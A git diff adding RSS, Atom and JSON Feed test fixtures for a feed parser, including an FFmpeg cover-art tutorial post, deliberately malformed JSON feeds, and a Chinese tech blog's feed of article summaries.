+    artist          : SmileR feat. 初音ミク
+    track           : 02/20
+    album           : Melody Line(s)
+    genre           : <unknown>
+    title-sort      : Melody Line
+    album-sort      : Melody Line(s)
+    artist-sort     : SmileR feat. はつねみく
+  Duration: 00:03:21.09, start: 0.025056, bitrate: 457 kb/s
+    Stream #0:0: Audio: mp3, 44100 Hz, stereo, fltp, 320 kb/s
+    Stream #0:1: Video: png, rgba(pc), 1500x1499, 90k tbr, 90k tbn, 90k tbc (attached pic)
+    Metadata:
+      comment         : Other
+Output #0, image2, to 'cover.png':
+  Metadata:
+    title           : Melody Line
+    artist          : SmileR feat. 初音ミク
+    track           : 02/20
+    album           : Melody Line(s)
+    genre           : <unknown>
+    title-sort      : Melody Line
+    album-sort      : Melody Line(s)
+    artist-sort     : SmileR feat. はつねみく
+    encoder         : Lavf58.29.100
+    Stream #0:0: Video: png, rgba(pc), 1500x1499, q=2-31, 90k tbr, 90k tbn, 90k tbc (attached pic)
+    Metadata:
+      comment         : Other
+Stream mapping:
+  Stream #0:1 -> #0:0 (copy)
+Press [q] to stop, [?] for help
+frame=    1 fps=0.0 q=-1.0 Lsize=N/A time=00:00:00.00 bitrate=N/A speed=0.00122x
+video:3371kB audio:0kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: unknown
+ + + +

So, nothing fancy here. It seems like the format the output image would always follow the extension in the output path specified no matter what you have in the file, even when -vcodec copy is enabled. I’m not really sure if that option is really needed or not. But what is important here is to have a proper extension in the output path.

+ + + +

Write cover art

+ + + +

Similar to reading, writing cover art is the reverse process — combining an audio and a static picture into one file. The static picture will be automatically considered as a cover art.

+ + + +

Options used in this command are as follows:

+ + + +
  • -i mp3.mp3: path to the of input audio file.
  • -i cover.png: path to the cover art.
  • -map 0: map streams of the 0th (first) input to the output.
  • -map 1:0: map first stream (image data) of the 1th1th is the way of saying the #1 element in a zero-indexed list, it’s intended here. (second) input (i.e. the picture) to the output.
  • -codec copy: to keep the codec of streams, and prevent unnecessary encoding.
  • mp3out.mp3: path to the output file.
+ + + +
ffmpeg -i mp3.mp3 -i cover.png -map 0 -map 1:0 -codec copy mp3out.mp3
+ffmpeg version 4.2.1 Copyright (c) 2000-2019 the FFmpeg developers
+  built with Apple clang version 11.0.0 (clang-1100.0.33.8)
+  configuration: --prefix=/usr/local/Cellar/ffmpeg/4.2.1_2 --enable-shared --enable-pthreads --enable-version3 --enable-avresample --cc=clang --host-cflags='-I/Library/Java/JavaVirtualMachines/adoptopenjdk-13.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-13.jdk/Contents/Home/include/darwin -fno-stack-check' --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-libsoxr --enable-videotoolbox --disable-libjack --disable-indev=jack
+  libavutil      56. 31.100 / 56. 31.100
+  libavcodec     58. 54.100 / 58. 54.100
+  libavformat    58. 29.100 / 58. 29.100
+  libavdevice    58.  8.100 / 58.  8.100
+  libavfilter     7. 57.100 /  7. 57.100
+  libavresample   4.  0.  0 /  4.  0.  0
+  libswscale      5.  5.100 /  5.  5.100
+  libswresample   3.  5.100 /  3.  5.100
+  libpostproc    55.  5.100 / 55.  5.100
+Input #0, mp3, from 'mp3.mp3':
+  Metadata:
+    title           : Melody Line
+    artist          : SmileR feat. 初音ミク
+    track           : 02/20
+    album           : Melody Line(s)
+    genre           : <unknown>
+    title-sort      : Melody Line
+    album-sort      : Melody Line(s)
+    artist-sort     : SmileR feat. はつねみく
+  Duration: 00:03:21.09, start: 0.025056, bitrate: 457 kb/s
+    Stream #0:0: Audio: mp3, 44100 Hz, stereo, fltp, 320 kb/s
+    Stream #0:1: Video: png, rgba(pc), 1500x1499, 90k tbr, 90k tbn, 90k tbc (attached pic)
+    Metadata:
+      comment         : Other
+Input #1, png_pipe, from 'cover.png':
+  Duration: N/A, bitrate: N/A
+    Stream #1:0: Video: png, rgba(pc), 1500x1499, 25 tbr, 25 tbn, 25 tbc
+Output #0, mp3, to 'mp3out.mp3':
+  Metadata:
+    TIT2            : Melody Line
+    TPE1            : SmileR feat. 初音ミク
+    TRCK            : 02/20
+    TALB            : Melody Line(s)
+    TCON            : <unknown>
+    TSOT            : Melody Line
+    TSOA            : Melody Line(s)
+    TSOP            : SmileR feat. はつねみく
+    TSSE            : Lavf58.29.100
+    Stream #0:0: Audio: mp3, 44100 Hz, stereo, fltp, 320 kb/s
+    Stream #0:1: Video: png, rgba(pc), 1500x1499, q=2-31, 90k tbr, 90k tbn, 90k tbc (attached pic)
+    Metadata:
+      comment         : Other
+    Stream #0:2: Video: png, rgba(pc), 1500x1499, q=2-31, 25 tbr, 25 tbn, 25 tbc
+Stream mapping:
+  Stream #0:0 -> #0:0 (copy)
+  Stream #0:1 -> #0:1 (copy)
+  Stream #1:0 -> #0:2 (copy)
+Press [q] to stop, [?] for help
+frame=    1 fps=0.0 q=-1.0 Lq=-1.0 size=   14599kB time=00:03:21.03 bitrate= 594.9kbits/s speed=4.27e+03x
+video:6743kB audio:7855kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.009018%
+ + + +

Again, these output are for stderr only, nothing is printed to stdout.

+ + + +

You can manipulate metadata and the cover art in the same command by just adding -metadata key=value options. Note that if you have -map 0:0 instead of -map 0 for the audio file, you may lose your existing tag data. Only add the extra :0 if that is what you want to do.

+ + + +
+ + + +

FFmpeg can get rid of the hassle if you are in a hassle looking for an all-in-one solution for music tag reading/writing. It might be a little too heavy if you are using it only for this purpose, but it shouldn’t be much of a problem if you already have it installed in your system for some other things.

+

Read and Write Tags of Music Files with FFmpeg appeared first on 1A23 Blog.

+]]>
+ + + + 15300
+
+
+ + \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/failed/https-d3adend-org-blog-feed-rss2.xml b/tests/feedlib/testdata/parser/failed/https-d3adend-org-blog-feed-rss2.xml new file mode 100644 index 0000000..f98be0c --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/https-d3adend-org-blog-feed-rss2.xml @@ -0,0 +1,192 @@ + + + + dead && end + + + + + + + + + + + + + + + + + + + + + + +
+ Neil Bergman +

dead && end

+

Neil Bergman's Software Security Blog

+ +
+
+ +
+

dead && end

+ + + + + + + +
+ +
+ + diff --git a/tests/feedlib/testdata/parser/failed/https-egoist-moe-atom-xml.xml b/tests/feedlib/testdata/parser/failed/https-egoist-moe-atom-xml.xml new file mode 100644 index 0000000..7cda1e6 --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/https-egoist-moe-atom-xml.xml @@ -0,0 +1,5 @@ +EGOIST v1-legacy + +

See ya! I no longer publish stuff here (I've never published any meaningful stuff anyways), subscribe my Telegram Channel instead.

+ +

感觉写不出什么有意义的文章,所以此博客已被我的 Telegram 频道 取代。

diff --git a/tests/feedlib/testdata/parser/failed/jsonfeed-failed-no-title-items.json b/tests/feedlib/testdata/parser/failed/jsonfeed-failed-no-title-items.json new file mode 100644 index 0000000..83039dd --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/jsonfeed-failed-no-title-items.json @@ -0,0 +1,4 @@ +{ + "version": "https://jsonfeed.org/version/1", + "items": [] +} \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/failed/jsonfeed-failed-syntax.json b/tests/feedlib/testdata/parser/failed/jsonfeed-failed-syntax.json new file mode 100644 index 0000000..f0c2088 --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/jsonfeed-failed-syntax.json @@ -0,0 +1,15 @@ +{ + "version": "https://jsonfeed.org/version/1", + "title": "JSON Feed", + "home_page_url": "https://www.v2ex.com/go/jsonfeed", + "feed_url": "https://www.v2ex.com/feed/jsonfeed.json", + "icon": "https://cdn.v2ex.com/navatar/db57/6a7d/1054_large.png?m=1567059308", + "favicon": "https://cdn.v2ex.com/navatar/db57/6a7d/1054_normal.png?m=1567059308", + "items": [ + { + "author": { + "url": "https://www.v2ex.com/member/DEVN", + "name": "DEVN", + "avatar": "https://cdn.v2ex.com/avatar/6fc1/cc76/467193_large.png?m=1583239760" + }, +} \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/failed/rssant-manifest.json b/tests/feedlib/testdata/parser/failed/rssant-manifest.json new file mode 100644 index 0000000..d6d8dee --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/rssant-manifest.json @@ -0,0 +1 @@ +{"name":"蚁阅","short_name":"蚁阅","theme_color":"#f9f9f9","icons":[{"src":"/img/icons/android-chrome-192x192.png?v=2020032001","sizes":"192x192","type":"image/png"},{"src":"/img/icons/android-chrome-512x512.png?v=2020032001","sizes":"512x512","type":"image/png"}],"start_url":"/","display":"standalone","background_color":"#ffffff"} \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/failed/v2ex-jsonfeed-no-storys.json b/tests/feedlib/testdata/parser/failed/v2ex-jsonfeed-no-storys.json new file mode 100644 index 0000000..947b567 --- /dev/null +++ b/tests/feedlib/testdata/parser/failed/v2ex-jsonfeed-no-storys.json @@ -0,0 +1,15 @@ +{ + "version": "https://jsonfeed.org/version/1", + "title": "JSON Feed", + "description": "\u7c7b\u4f3c RSS \u7684\u7ad9\u70b9\u5185\u5bb9\u4fe1\u606f\u6d41 JSON \u683c\u5f0f\u3002\u8fd9\u91cc\u8ba8\u8bba JSON Feed \u7684\u5b9e\u73b0\u53ca\u9605\u8bfb\u5668\u652f\u6301\u3002", + "home_page_url": "https://www.v2ex.com/go/jsonfeed", + "feed_url": "https://www.v2ex.com/feed/jsonfeed.json", + "icon": "https://cdn.v2ex.com/navatar/db57/6a7d/1054_large.png?m=1567059308", + "favicon": "https://cdn.v2ex.com/navatar/db57/6a7d/1054_normal.png?m=1567059308", + "items": [ + { + "date_published": "2020-01-31T15:05:16+00:00", + "content_html": "2020-01-31" + } + ] +} \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/warn/http-blog-xiayf-cn-feeds-rss-xml.xml b/tests/feedlib/testdata/parser/warn/http-blog-xiayf-cn-feeds-rss-xml.xml new file mode 100644 index 0000000..791f005 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/http-blog-xiayf-cn-feeds-rss-xml.xml @@ -0,0 +1,1871 @@ + +黑·白http://youngsterxyf.github.io/Sun, 13 Oct 2019 00:00:00 +0800读文笔记:Kafka 官方设计文档http://youngsterxyf.github.io/2019/10/13/reading-kafka-design/<p>原文:<a href="http://kafka.apache.org/documentation/#design">http://kafka.apache.org/documentation/#design</a></p> +<h2>数据持久化</h2> +<h4>不用惧怕文件系统</h4> +<p>磁盘的读写速度,取决于如何读写。对于线性读写方式,操作系统做了充分的优化:提前读 - 预取若干数据块,滞后写 - 将小的逻辑写操作合并成一个大的物理写操作。</p> +<p><a href="http://queue.acm.org/detail.cfm?id=1563874">研究</a>表明:<a href="http://deliveryimages.acm.org/10.1145/1570000/1563874/jacobs3.jpg">顺序读写磁盘(sequential disk access)的速度有些时候比随机访问内存还要快</a>。</p> +<p>现代操作系统激进地尽可能将空闲内存用作磁盘缓存。所有磁盘读写都经过操作系统提供的统一缓存。这个特性没法轻易关闭,除非直接 I/O (direct I/O),因此,如果程序在用户进程中进行数据缓存,缓存的数据通常也是和操作系统页缓存重复的,缓存两遍,没啥意义,也浪费内存。</p> +<p>而且,Kafka 是构建在 JVM 之上的,了解 Java 内存使用方式的人应该都知道:</p> +<ol> +<li>对象的内存开销非常高,通常是实际数据大小的2倍(甚至更多 …</li></ol>xiayfSun, 13 Oct 2019 00:00:00 +0800tag:youngsterxyf.github.io,2019-10-13:/2019/10/13/reading-kafka-design/文章笔记经典Kafka进行中读文笔记:Photon - Fault-tolerant and Scalable Joining of Continuous Data Streamshttp://youngsterxyf.github.io/2019/10/10/reading-photon/<p>原文:<a href="https://static.googleusercontent.com/media/research.google.com/zh-CN//pubs/archive/41318.pdf">Photon: Fault-tolerant and Scalable Joining of Continuous Data Streams</a></p> +<p>Photon 是谷歌广告系统中用于 join 广告曝光日志流和点击日志流的一套系统。</p> +<p>数据流 join 为什么没用 flink 这类通用的流式处理框架?</p> +<p>数据流 join,特别是广告数据流 join,技术上难在哪里?</p> +<p>任一条流都可能乱序或延迟,广告点击涉及计费的问题,计费不能多算广告主的钱,也要尽可能避免漏计费,降低广告收入损失。</p> +<hr> +<p>该系统在谷歌生产环境中每分钟处理百万级的事件,端到端延迟小于 10 秒(注:对于广告实时竞价的广告主而言,这个延迟的长短很重要)。</p> +<p>广告曝光、点击整体流程为:</p> +<ol> +<li>用户搜索某个关键词时,谷歌的服务器会返回广告和搜索结果。广告服务器会将广告 query 和结果数据作为日志发送到多个日志数据中心(multiple logs-datacenters),最终持久化存储在 GFS 上。每次 query …</li></ol>xiayfThu, 10 Oct 2019 00:00:00 +0800tag:youngsterxyf.github.io,2019-10-10:/2019/10/10/reading-photon/论文笔记读文笔记:日志 - 每个软件工程师都应该了解的实时数据统一抽象http://youngsterxyf.github.io/2019/10/10/reading-the-log/<p>原文:<a href="https://engineering.linkedin.com/distributed-systems/log-what-every-software-engineer-should-know-about-real-time-datas-unifying">The Log: What every software engineer should know about real-time data's unifying abstraction</a></p> +<p>一句话概括,这篇文章细说了 Kafka 的本质原理、解决的问题、适用性等。</p> +<p>Kafka 本质上是提供日志数据流。</p> +<p>日志是客观世界的事件记录。</p> +<blockquote> +<p>A log is perhaps the simplest possible storage abstraction. It is an append-only, totally-ordered sequence of records ordered by time.</p> +</blockquote> +<p>日志数据的特点是:只增不改,自带时间戳,数据存储的先后顺序即(大致)是实际发生的时间先后顺序。</p> +<p>数据库可以基于日志来还原历史操作行为 …</p>xiayfThu, 10 Oct 2019 00:00:00 +0800tag:youngsterxyf.github.io,2019-10-10:/2019/10/10/reading-the-log/论文笔记Lucene 查询解析器语法(译)http://youngsterxyf.github.io/2019/09/04/lucene-query-parser-syntax/<p>原文:<a href="http://lucene.apache.org/core/8_2_0/queryparser/org/apache/lucene/queryparser/classic/package-summary.html#package.description">Query Parser Syntax</a></p> +<h2>概览</h2> +<p>Lucene 除了提供 API 方便开发者创建查询请求,还通过一个查询解析器(一个词法分析器,使用 JavaCC 将一个字符串翻译成一个 Lucene 查询)提供一种功能丰富的查询语言。</p> +<p>一般来说,查询解析器支持的语法在不同发布版本之间可能会有变化。当前这个文档页面描述的是当前这个发布版本的语法。如果你正在使用一个不同版本的 Lucene,请参考该版本自带的 docs/queryparsersyntax.html 文档。</p> +<p>在选择使用这个查询解析器之前,请考虑以下 3 点:</p> +<ol> +<li>如果你准备以编程的方式生成一个查询字符串,然后使用查询解析器来解析它。那么,你应该认真考虑一下是否应该直接使用查询 API 来构建查询。换句话说,查询解析器专门用于人类输入的文本,而不是程序生成的文本。</li> +<li>不可分词(untokenized)的域(译者注:抱歉,此处没太理解)最好直接添加到查询中,而不是通过查询解析器来解析。如果一个域的值是通过应用自动生成的,那么应该为这个域自动生成查询子句 …</li></ol>xiayfWed, 04 Sep 2019 00:00:00 +0800tag:youngsterxyf.github.io,2019-09-04:/2019/09/04/lucene-query-parser-syntax/翻译LuceneElasticSearchKibana一个 Python 小项目的小结http://youngsterxyf.github.io/2019/08/14/a-python-project-summary/<p>前段时间临时接手一个 Python 小项目,这个项目实现的类似一个管控平台,其中核心功能是为算法同学提供机器学习模型训练任务的全流程管理,平台后端基于 Flask 框架实现,前端基于 Ant Design Pro 实现。</p> +<p>代码稍微有些乱,所以做了部分代码的重构,在此做点经验小结。</p> +<h3>1、并行化或异步化</h3> +<p>部分请求处理逻辑,由于比较耗时,故使用线程池来加速,或者使用独立线程异步处理,或者先存储一个中间状态,由后台定时任务来完成实际的处理工作。对于异步处理结果,前端通过轮询来获取。</p> +<p>线程池的使用,主要使用 map 方法:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">from</span> multiprocessing.dummy <span style="color: #0000ff">import</span> Pool + +input_list = [...] +pool: Pool = Pool(len(input_list)) +pool.map(func, input_list) +pool.close() +pool.join() +</pre></div> + + +<p>独立线程异步处理 …</p>xiayfWed, 14 Aug 2019 00:00:00 +0800tag:youngsterxyf.github.io,2019-08-14:/2019/08/14/a-python-project-summary/总结PythonReactor 官方文档翻译简化版http://youngsterxyf.github.io/2019/06/26/simplified-reactor-doc-zh/<p>原文:<a href="https://projectreactor.io/docs/core/release/reference/">Reactor 3 Reference Guide</a></p> +<h3>1. 起步</h3> +<h4>1.1 Reactor 简介</h4> +<p>Reactor 是为 JVM 准备的一个完全非阻塞的反应式编程基础组件,支持高效的需求管理(以管理“反压”的形式),直接与 Java 8 的函数式 API 集成,尤其是 <code>CompletableFuture</code>、<code>Stream</code> 以及 <code>Duration</code>,提供可组合的异步序列 API - <code>Flux</code>(适用于 N 个元素的序列)和 <code>Mono</code>(适用于 0 或 1个元素的序列)--- 并且全面地(extensively)实现了 <a href="https://www.reactive-streams.org/">反应式流(Reative Streams)</a> 规范。</p> +<p>借助 …</p>xiayfWed, 26 Jun 2019 00:00:00 +0800tag:youngsterxyf.github.io,2019-06-26:/2019/06/26/simplified-reactor-doc-zh/翻译ReactorReactiveJava System.getProperty VS. System.getenv(译)http://youngsterxyf.github.io/2019/06/25/java-prop-env/<p>原文:<a href="https://www.baeldung.com/java-system-get-property-vs-system-getenv">Java System.getProperty vs System.getenv</a></p> +<h2>1、简介</h2> +<p>Java 应用代码中会自动引入 <code>java.lang</code> 包。这个包包含很多常用的类,包括 <code>NullPointerException</code>、<code>Object</code>、<code>Math</code>、<code>String</code> 等等。</p> +<p>其中 <code>java.lang.System</code> 类是一个 final 类,这意味着开发者无法继承它,其所有方法都是静态的(static)。</p> +<p>System 类中有两个方法,分别来<strong>读取系统属性(system properties)和环境变量(environment variables)</strong>,下面我们来看看这两者的区别。</p> +<h2>2、使用 System.getProperty()</h2> +<p>Java 平台使用一个 <code>Properties</code> 对象来提供<strong>本地系统相关的信息和配置 …</strong></p>xiayfTue, 25 Jun 2019 00:00:00 +0800tag:youngsterxyf.github.io,2019-06-25:/2019/06/25/java-prop-env/翻译JavaJava 单测伴侣 - mockitohttp://youngsterxyf.github.io/2019/06/17/mockito/<p>其实工作以来,我很少写测试/单测代码,一方面是大部分互联网公司团队对测试的要求不高,另一方面是想写好测试代码还挺难的,挺花时间,其中最麻烦的是待测代码可能会访问外部资源(比如数据库、HTTP API),如果不能方便地进模拟访问这些外部资源,那么测试起来会非常麻烦。</p> +<p>但,对于复杂逻辑,如果不经过严格测试,发布到生产环境,又有些不放心,没底气,或者在代码重构时,如果没有覆盖全面的测试,很难评估代码变动带来的影响。</p> +<p>直到遇到 <a href="https://site.mockito.org/">mockito</a>,我才觉得是时候认真写写测试代码了。</p> +<hr> +<p><a href="https://site.mockito.org/">mockito</a> 提供两种对象模拟方式:<strong>mock</strong> 和 <strong>spy</strong>。</p> +<p>简单来说,mock 模拟的对象是一个完全假的对象,只是具备指定类型的接口,以 <code>java.util.List</code> 为例:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">import static</span> org.mockito.Mockito.mock; + +List mockedList = mock(List.class); +</pre></div> + + +<p>虽然 …</p>xiayfMon, 17 Jun 2019 00:00:00 +0800tag:youngsterxyf.github.io,2019-06-17:/2019/06/17/mockito/Javamockito单测编写漂亮的 shell 代码http://youngsterxyf.github.io/2018/05/16/beautiful-shell-code/<p>使用丑陋的编程语言也能写出漂亮的代码。</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>true_then_run() { + condition=$1 + action=$2 + + (<span style="color: #a31515">${</span>condition<span style="color: #a31515">}</span>) + <span style="color: #0000ff">if</span> [ $? -eq 0 ] + <span style="color: #0000ff">then</span> + (<span style="color: #a31515">${</span>action<span style="color: #a31515">}</span>) + <span style="color: #0000ff">else</span> + echo <span style="color: #a31515">&quot;&#39;</span>$1<span style="color: #a31515">&#39; is false, don&#39;t run &#39;</span>$2<span style="color: #a31515">&#39;&quot;</span> + <span style="color: #0000ff">fi</span> +} + +false_then_run() { + condition=$1 + action=$2 + + (<span style="color: #a31515">${</span>condition<span style="color: #a31515">}</span>) + <span style="color: #0000ff">if</span> [ $? -ne 0 ] + <span style="color: #0000ff">then</span> + (<span style="color: #a31515">${</span>action<span style="color: #a31515">}</span>) + <span style="color: #0000ff">else</span> + echo <span style="color: #a31515">&quot;&#39;</span>$1<span style="color: #a31515">&#39; is true, don&#39;t run &#39;</span>$2<span style="color: #a31515">&#39;&quot;</span> + <span style="color: #0000ff">fi</span> +} + +map() { + <span style="color: #0000ff">for</span> item in $2 + <span style="color: #0000ff">do</span> + ($1 …</pre></div>xiayfWed, 16 May 2018 00:00:00 +0800tag:youngsterxyf.github.io,2018-05-16:/2018/05/16/beautiful-shell-code/Bash配置 Maven 自动化构建 protobuf 代码依赖http://youngsterxyf.github.io/2018/05/14/maven-protobuf/<p>1.pom.xml 中添加如下属性配置:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>&lt;properties&gt; + <span style="color: #008000">&lt;!-- protobuf paths --&gt;</span> + &lt;protobuf.input.directory&gt;${project.basedir}/src/main/protobuf&lt;/protobuf.input.directory&gt; + &lt;protobuf.output.directory&gt;${project.build.directory}/generated-sources&lt;/protobuf.output.directory&gt; + <span style="color: #008000">&lt;!-- library versions --&gt;</span> + &lt;build-helper-maven-plugin.version&gt;3.0.0&lt;/build-helper-maven-plugin.version&gt; + &lt;maven-antrun-plugin.version&gt;1.8&lt;/maven-antrun-plugin.version&gt; + &lt;maven-dependency-plugin.version&gt;3.0.2&lt;/maven-dependency-plugin.version …</pre></div>xiayfMon, 14 May 2018 00:00:00 +0800tag:youngsterxyf.github.io,2018-05-14:/2018/05/14/maven-protobuf/javamavenprotobuf《Python 编程之美》译者序http://youngsterxyf.github.io/2018/04/01/the-python-guide/<p>从毕业至今,在互联网行业从事软件研发工作,将近五年。这五年间,做过后端开发、前端开发、大数据处理等,使用过的编程语言包括:Python、PHP、Go、Java、JavaScript 等。</p> +<p>虽说编程语言各异,但我使用它们来写各种项目的代码却一直坚持两点:代码可读性和自解释性/自文档性(self-documentation)。这很大程度上应该是受到 Python 语言设计哲学的影响 - 追求简单易读易懂的代码。</p> +<p>很多人可能会认为这两点其实是一点 - 代码可读性,但我想做点区分:代码可读性突出对代码阅读者视觉上的影响,是否存在不必要的理解干扰,比如:必要的空行、变量定义与使用之间的距离、函数体/逻辑分支是否过长、逻辑表达是否直观等等。可读性高的代码通常都非常漂亮、赏心悦目。自解释性代码则更突出语义层面,比如:变量名称/函数名称/类名是否恰当、函数/方法/API 是否单一职责、工程目录结构/包/模块拆分是否符合“高内聚低耦合”原则等等 …</p>xiayfSun, 01 Apr 2018 00:00:00 +0800tag:youngsterxyf.github.io,2018-04-01:/2018/04/01/the-python-guide/翻译书籍《精通Python设计模式》译者序http://youngsterxyf.github.io/2016/07/01/mpdp/<p>在我读大学那几年,设计模式可谓火极一时,各大公司校招面试也几乎都会考设计模式,反观现在,则似乎很少有人聊设计模式的话题。是因为设计模式过时了吗?还是只是一个错误的概念?从个人这几年的开发经验来看,答案是否定的,设计模式并未过时,更不是一个错误的概念。从曾经的“红极一时”到如今的“门可罗雀”,只是说明软件开发行业以更加客观理性的态度来看待设计模式。软件开发领域的技术概念也似乎总是遵循这样的流行度变迁,最终一次又一次地证明不存在“银弹”。</p> +<p>正确看待设计模式的前提是明白什么是设计模式。正如本书一开始就强调的:“设计模式的本质是在已有的方案之上发现更好的方案(而不是全新发明)”,这是一种务实的态度,设计模式并非是一种高大上或者神秘的东西,而是一些常见的软件工程设计问题的最佳实践方案。</p> +<p>那么应该如何学习设计模式?个人认为软件开发技术的学习都应该以实践为前提,只有理解实践过程中遇到的种种问题,才能明白那些技术的本质和目的是什么,每种新技术都是因某个/某些问题而出现的,软件开发高手一般都反对新手一开始就一股脑地学习设计模式。有些新手学了点设计模式的理论后,甚至在软件开发过程中生搬硬套,结果是适得其反。因此,软件开发人员应该在积累了一定的开发经验,再系统地学习设计模式,效果往往也能事半功倍。</p> +<p>现在有些积累一定开发经验的软件开发人员,在谈起设计模式时,一脸鄙夷。我想这也不是一种客观务实的态度。软件开发不是简单的累积代码,在实现业务功能的同时应该仔细考虑如何控制软件的复杂度。软件的复杂度分为两个层面:业务逻辑复杂度和代码实现复杂度。对同一个业务系统,不同的软件开发人员会有不同的实现 …</p>youngsterxyfFri, 01 Jul 2016 00:00:00 +0800tag:youngsterxyf.github.io,2016-07-01:/2016/07/01/mpdp/翻译书籍应用MySQL InnoDB全文索引http://youngsterxyf.github.io/2016/06/11/mysql-fulltext-application/<h2>问题</h2> +<p>之前涉及的一项工作要求对某些数据做全文索引,并以API向其他内部系统提供搜索查询服务。</p> +<p>由于需要建全文索引的数据量并不大,且已有的数据都以InnoDB引擎存储,简单起见,我们选择MySQL InnoDB引擎的全文索引特性来实现。MySQL从版本5.6开始支持InnoDB引擎的全文索引,不过“从5.7.6版本开始才提供一种内建的全文索引ngram parser,支持CJK字符集(中文、日文、韩文,CJK有个共同点就是单词不像英语习惯那样根据空格进行分解的,因此传统的内建分词方式无法准确的对类似中文进行分词)”,我们使用的MySQL版本为5.6.28,并且需要建全文索引的数据部分是中文,所以这是个问题。</p> +<h2>方案</h2> +<p>我们先把这项工作按“分治”的思想拆分成几个小问题:</p> +<ol> +<li>由于版本5.6.28的MySQL不支持中文的全文索引,那么可以对需要建全文索引的数据进行预处理 - 分词,并以空格为间隔将分词结果拼接成一个字符串。</li> +<li>但经过第1步仍是不够的 - MySQL的系统变量<code>ft_min_word_len</code>、<code>ft_max_word_len</code>分别规定了全文检索被编入索引单词的最小长度和最大长度,默认的最小值为4个字符,默认的最大值取决于使用的MySQL版本。为了不改变这个默认值同时也是兼考虑这个值对于英文的意义,则需要通过编码(<code>urlencode</code>、<code>base64</code>、<code>汉字转拼音</code>等)将中文词变长 …</li></ol>youngsterxyfSat, 11 Jun 2016 00:00:00 +0800tag:youngsterxyf.github.io,2016-06-11:/2016/06/11/mysql-fulltext-application/MySQL笔记关于并发的一个小技巧http://youngsterxyf.github.io/2016/06/10/a-simple-concurrency-trick/<p>前段时间在参与实现一个新业务系统的Demo。该系统集成了多个已有系统的数据,涉及的数据量较大,但由于人力少,时间短,没法专门做一个数据处理子系统,所以只能写了很多数据处理的脚本。</p> +<p><img alt="" src="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/a-simple-concurrency-trick.png"></p> +<p>为了复用一些代码,这些数据处理脚本和业务系统一样都是使用PHP实现。在某些数据上报API写入的数据较快较多时,脚本处理不过来(特别在脚本涉及一些网络请求时),只能搞起并发处理 - 在我们的情况下,最简单的并发方式就是多运行几个脚本实例。</p> +<p>但一切没那么简单:脚本从数据库中取出未经处理的多行数据,逐行处理数据,并将处理后的数据更新到原来的数据行中,运行多个脚本实例时,为了避免更新冲突,只好加事务,但加事务后就会频繁发生事务回滚,数据处理速度还是上不去。</p> +<p>那么该怎么办呢?</p> +<p>参考哈希的思路,我对脚本做了一点调整,下面举例说明:</p> +<ul> +<li>假设对同一脚本运行<code>5</code>个实例,为每个实例进程分配一个ID,依次为:0、1、2、3、4</li> +<li>对脚本实例获取数据的SQL,增加选择条件:<code>MOD(id, 5)=SID</code>(SID为当前脚本实例的ID) - 即使用数据行的<code>id</code>对实例数取模,如果结果等于实例的ID,则取出来 …</li></ul>youngsterxyfFri, 10 Jun 2016 00:00:00 +0800tag:youngsterxyf.github.io,2016-06-10:/2016/06/10/a-simple-concurrency-trick/笔记SQL关于API访问频率限制的一个问题http://youngsterxyf.github.io/2016/06/05/frequency-limitation/<p>工作中涉及一些对外开放的无需特殊权限的API,用户会因为某些需求而通过程序来频繁访问这些API,导致系统的负载陡增,可能影响系统其它功能的正常使用。虽然做了一些优化让这种API尽可能地轻量,但仍然不够,因此需要进行访问频率的限制。</p> +<p>由于这样的API并不多,所以我们并没有在Nginx这样的反向代理接入层中实现频率限制,而是API自己去实现,而且实现方案比较粗糙 - 基于Memcached的缓存自动过期特性。</p> +<p>方案的PHP示例实现如下所示:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>// 每个IP一分钟10次 +$limit = 10; + +$cache = new Memcached(); +$cache-&gt;addServer(&#39;127.0.0.1&#39;, 11211); + +$key = __FUNCTION__.$_SERVER[&#39;REMOTE_ADDR&#39;]; +$requestNum = $cache-&gt;get($key); + +if ($requestNum !== FALSE &amp;&amp; $requestNum &gt; 10) { + echo json_encode(array( + &#39;code&#39; =&gt; 403, + &#39;message&#39; =&gt; &#39;请求太频繁,请一分钟后再试&#39;, + )); + return; +} + +$cache-&gt;add …</pre></div>youngsterxyfSun, 05 Jun 2016 00:00:00 +0800tag:youngsterxyf.github.io,2016-06-05:/2016/06/05/frequency-limitation/Nginx笔记工作为什么我要送掉纸质书?http://youngsterxyf.github.io/2016/02/28/why-preseting-book/<p>小时候,不知为何喜欢读书,而又没钱买,所以在家都是翻两个哥哥的课本 - 语文、历史、地理等,都翻个遍。更有甚者,竟然还从邻居家偷偷地拿了本书回来,这应该算是我品行上的污点,这事在此说起,也是第一次。</p> +<p>因为书少,所以至今还记得爸爸第一次送给我的书 - 《一个变两个》 - 连书里的情节都没忘过。</p> 